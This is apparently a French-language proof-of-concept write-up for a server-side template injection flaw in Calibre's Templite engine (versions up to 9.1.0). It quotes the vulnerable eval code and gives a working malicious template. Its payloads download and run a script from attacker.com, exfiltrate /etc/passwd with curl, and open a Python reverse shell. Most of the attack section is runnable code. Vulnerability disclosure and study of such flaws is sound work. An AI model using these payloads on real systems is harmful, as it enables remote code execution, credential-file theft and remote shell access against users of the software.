
Preuve de concept pour une vulnérabilité d’injection de modèles côté serveur (SSTI) dans le moteur Templite de Calibre (GHSA-xrh9-w7qx-3gcc). Démontre l’exécution arbitraire de code Python via des modèles d’exportation HTML fournis par l’utilisateur dans les versions concernées (≤ 9.1.0).
Sévérité : Élevée (CVSS 7.8)
Logiciel concerné : calibre <= 9.1.0
Correctif dans : 9.2.0
Avis de sécurité : GHSA-xrh9-w7qx-3gcc
Une vulnérabilité d'injection de modèles côté serveur (SSTI) dans le moteur de templating Templite de Calibre permet l'exécution arbitraire de code lorsqu'un utilisateur convertit un livre électronique à l'aide d'un fichier de modèle personnalisé malveillant via les options de ligne de commande --template-html ou --template-html-index.
Le moteur Templite (src/templite/__init__.py) compile et évalue les modèles à l'aide des fonctions compile() et eval() de Python, sans aucun sandboxing :
Code vulnérable dans src/templite/__init__.py :
# Ligne 72 : Le modèle est compilé en code Python
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')
# Ligne 90 : Le code compilé est exécuté via eval()
def render(self, __namespace=None, **kw):
# ...
eval(self.__code, namespace) # Exécution arbitraire de code
Vecteur d'attaque dans src/calibre/ebooks/conversion/plugins/html_output.py :
# Lignes 96-98 : Le fichier de modèle fourni par l'utilisateur est chargé
if opts.template_html_index is not None:
with open(opts.template_html_index, 'rb') as f:
template_html_index_data = f.read()
# Ligne 136 : Le modèle est transmis au moteur Templite vulnérable
templite = Templite(template_html_index_data)
Le même schéma existe pour l'option --template-html (lignes 102-106, 200).
Enregistrez le contenu suivant sous le nom malicious_template.tmpl :
<!DOCTYPE html>
<html>
<head><title>Modèle malveillant</title></head>
<body>
<h1>Livre converti !</h1>
<!-- La charge utile SSTI exécute des commandes arbitraires -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>
# Convertir n'importe quel livre électronique à l'aide du modèle malveillant
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl
cat /tmp/pwned.txt
# Sortie : uid=501(nom_utilisateur) gid=20(staff) groups=...
# Exécution de commande
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$
# Exfiltration de fichiers
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$
# Shell inversé
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/chemin/vers/calibre/src')
from templite import Templite
# Exécution de commande
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("Utilisateur :", t.render()) # Affiche le nom d'utilisateur actuel
# Lecture de fichier
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("Fichier :", t.render()) # Affiche la première ligne de /etc/passwd
Qui est concerné :
Scénario d'attaque :
ebook-convert book.epub out.zip --template-html=template.tmpl